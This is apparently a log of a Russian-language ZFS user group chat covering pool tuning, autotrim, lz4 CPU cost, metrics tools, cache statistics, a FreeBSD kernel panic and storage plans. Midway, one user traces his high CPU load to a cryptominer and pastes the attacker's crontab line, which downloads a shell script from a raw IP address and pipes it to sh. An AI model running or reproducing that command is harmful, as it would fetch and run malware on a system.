Alexandr
А так стандартно: ashift=13 , atime=off , relatime=off , xattr=sa , autotrim=on , compression=lz4 ?
да, все верно, только автотрим по вкусу, или авто, или по расписанию скажет 1 раз в неделю
Nikolay
да, все верно, только автотрим по вкусу, или авто, или по расписанию скажет 1 раз в неделю
по крону раз в неделю zpool trim , но и autotrim тоже нужен. Смотрел выступление Бехлендорфа )
Alexandr
тогда ок)
Ivan
не очень долго это сколько?
https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка
Nikolay
тогда ок)
они как бы одно и тоже делают, но всё же разное ) цитирую по возможности: "zpool trim - это когда вам нужно здесь и сейчас привести пул в рабочее состояние. autotrim - поддерживает пул в оптимальном состоянии в процессе работы." Кое что от autotrim-а ускользает, для этог и нужен zpool раз в неделю (оптимально) :)
Владимир
https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка
ну я пока с проблемами не сталкивался, вероятно они меня не касаются))
Владимир
посмотрим как будет дальше)
Владимир
https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка
тут в твоей ссылке написано что и забикс говно))
Владимир
и вообще всё говно)
Владимир
Если на то пошло то обосрать можно всё)
Ivan
мне норм ) там хоть не теряются данные.
Владимир
мне норм ) там хоть не теряются данные.
хранить метрики в реляционной бд)
Владимир
ух
Владимир
мне кажется ты просто привык и ленишься перейти на что-то более современное, и ищешь отмазки)
Ivan
мне кажется ты просто привык и ленишься перейти на что-то более современное, и ищешь отмазки)
не ищу ) просто мне норм. ниче не тормозит на том количестве данных, которое требуется наблюдать.
Владимир
у меня тоже есть забиксы до которых руки не дошли
Владимир
не ищу ) просто мне норм. ниче не тормозит на том количестве данных, которое требуется наблюдать.
но плеваться на инфлюксдб используя связку значительно хуже)), ну такое себе))
Владимир
разве что посмотреть в /proc/spl/kstat/zfs/dbufs
посмотрел, там очень много строчек
Сергей
посмотрел, там очень много строчек
В разрезе пулов или обобщённое?
Владимир
пулов
Григорий
а я ушёл от забикса, на графану)
мы сходили и вернулись)
Владимир
В разрезе пулов или обобщённое?
ну то есть я так понимаю это какая-то статистика кеширования, но мне пока она не очень понятна. Ну то есть выходит что кеш работает. НО почему там пишет что он деградирован
Владимир
нифига не понятно
Владимир
я заюзал другую команду zpool iostat -v И вижу что запись и чтение есть из устройств кеша, то есть они работают
LordMerlin
Работают, только хит маленький, меньше процента
Nikolay
#Вопрос zfs может давать большую нагрузку на процессор с включенным lz4 и recordsize=16K , если это допустим не оптимальный размер блока ?
Nikolay
Большую, чем что?
18 ядер съедать под 100%
Nikolay
или это софт реально столько ест и надо процы мощнее
Mikhail
Nikolay
George
кажется, у вас кто-то майнит)
George
смотрите на этот процесс топовый
Nikolay
вот с сортировкой по процу
George
вот с сортировкой по процу
/tmp/чтототам, прям намекает на майнера
George
в общем ищите где вас ломанули и запустили майнер
Nikolay
уже второй раз ломают этот софт =\
George
уже второй раз ломают этот софт =\
pid 26049 это чистой воды майнер запущен
Nikolay
pid 26049 это чистой воды майнер запущен
Да. сразу до 50% и меньше использование упало
Mikhail
так, сколько так электричества съэкономили за месяц? )))) задонатьте в OpenZFS или FreeBSD. ;)
Nikolay
вот этот питор: * * * * * #wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
Autumn
#Вопрос zfs может давать большую нагрузку на процессор с включенным lz4 и recordsize=16K , если это допустим не оптимальный размер блока ?
Про майнер прикольно. Ломанули какую-то cms-ку на веб-сервере? lz4 вообще фактически нагрузку на ЦП не дает, там 1-2% которые на общем фоне вообще не заметны. По крайней мере у меня пулы по 20-40 ТБ с lz4, я замерял - там пара процентов и то надо хорошо нагрузить что бы почувствовать.
Nikolay
вроде вычистил. Больше не появляется
Autumn
Это я вчера переносил контейнер и забыл закрыть один порт фаерволом =\ там php наружу смотрит.
Ну и что что смотрит. Надо явная уязвимость в скрипте позволяющая инжектить задачу в планировщик и выполнять код. Наличие самого пыхпы никак не влияет на возможный взлом. Нужны ошибки в коде.
Autumn
У меня так ломали drupal через дырявый модуль и тоже вешали майнера.
Autumn
но не на сам сервак а на веб-страницу, что бы майнил на клиентской стороне.
Nikolay
почему по ссылке выше не могу исходники майнер аскать
Autumn
Всё правильно. Только её другой чувак разрабатывает, так исторически вышло. Поэтому один порт надо закрывать.
Понятно. Майнер к слову тупой. Валит ЦП на 100% что сразу заметно. Если бы он 25% кушал, не сразу и заметишь, если не полезешь смотреть =)
Autumn
почему по ссылке выше не могу исходники майнер аскать
у меня в винде страницу сразу блочит e-set, а линух в виртуалке пишет конекш рефьюзд
Autumn
Autumn
Похоже там блок на загрузку с неломаных IP шников.
Nikolay
В прошлый раз мне удалось его скачать
Autumn
на свежих процах lz4-fast может сжимать со скоростью 700-800мбайт/сек, а разжимать 3000-3600мбайт/сек в один поток, им ооочень сложно прям выесть сpu
я об этом же, там нагрузка вообще в общей массе процессов незаметна, поэтому у меня везде, даже на ссд пулах лз4 включен
Autumn
зато зачастую вижу выше производительность =)
Autumn
Сейчас есть кейс на немаленькое хранилище терр так на 100 на 3-х серверах, хочу внизу сделать зфс а сверху гластер.
Autumn
посмотрим что выйдет
Autumn
не хочу мастырить софт рейд и xfs, не интересно
Roman
не хочу мастырить софт рейд и xfs, не интересно
Зачем софт рейд, если это может гластер?
Autumn
Зачем софт рейд, если это может гластер?
Софтрейд+xfs потому что xfs не умеет в рейд. Вот я этого не хочу, поэтому будет zfs + gluster.
Autumn
Там в сервере 36 дисков, а делать брикс на каждом диске и все объединять гластером тоже не хочу.
Autumn
Гластер умеет в рейд и erasure coding
Я вкурсе, ответ выше, не хочу склеивать по схеме диск=брикс. К слову эта схема не всегда оптимальная.
Autumn
Но надо потестить.
Mikhail
Добрый день! zfs2.0 на bsd как то периодически крашится. Обычно у меня на -current краш ну раз в месяц. Сейчас - прям жду что будет сегодня. panic: Memory modified after free 0xfffffe012b0f0000(16384) val=dcadc0de @ 0xfffffe012b0f3488 cpuid = 2 time = 1609226207 KDB: stack backtrace: db_trace_self_wrapper() at db_trace_self_wrapper+0x2b/frame 0xfffffe008ef1f9d0 vpanic() at vpanic+0x182/frame 0xfffffe008ef1fa20 panic() at panic+0x43/frame 0xfffffe008ef1fa80 trash_fini() at trash_fini+0x47/frame 0xfffffe008ef1fa90 keg_free_slab() at keg_free_slab+0x76/frame 0xfffffe008ef1fad0 zone_reclaim() at zone_reclaim+0x220/frame 0xfffffe008ef1fb20 arc_kmem_reap_soon() at arc_kmem_reap_soon+0x61/frame 0xfffffe008ef1fb50 arc_reap_cb() at arc_reap_cb+0x9/frame 0xfffffe008ef1fb60 zthr_procedure() at zthr_procedure+0x8f/frame 0xfffffe008ef1fbb0 fork_exit() at fork_exit+0x80/frame 0xfffffe008ef1fbf0 fork_trampoline() at fork_trampoline+0xe/frame 0xfffffe008ef1fbf0 Это что-то OpenZFS-ное или нет? Пока не самый свежий билд, так как ещё не переехал на git.
Alexandr
а это чистая бсд или это truenas?
Alexandr
а тюнинги от старой у Вас там были?
Mikhail
Version String: FreeBSD 13.0-CURRENT #6 r366353: Fri Oct 2 11:12:35 UTC 2020 root@buildcurrent.unclebear.ru:/usr/obj/usr/src/amd64.amd64/sys/GENERIC Panic String: Memory modified after free 0xfffffe012b0f0000(16384) val=dcadc0de @ 0xfffffe012b0f3488
Mikhail
а тюнинги от старой у Вас там были?
у меня из тюнингов только отключенный prefetch и arc_max vfs.zfs.prefetch_disable="1" vfs.zfs.arc_max="2G"
Alexandr
тогда я к сожалению не в курсе (
Alexandr
я просто сталкивался с тем, что после перехода со старой ZFS на новую у меня были тюнингов довольно много связанных с распределением памяти, и они у меня вызывали подобное приколы
Alexandr
после того как убрал, все стало ок, но Ваши тюнинги безобидные
Mikhail
ок, и на том спасибо. короче пока не горит, забью
Алексей
Всем добрый вечер. Кто нибудь сталкивался с переносом freebsd zfs на VMware? Я так понимаю , что простым конвертором не обойтись? Например образ сделать acronis true image и сконвертировать в VMware не получится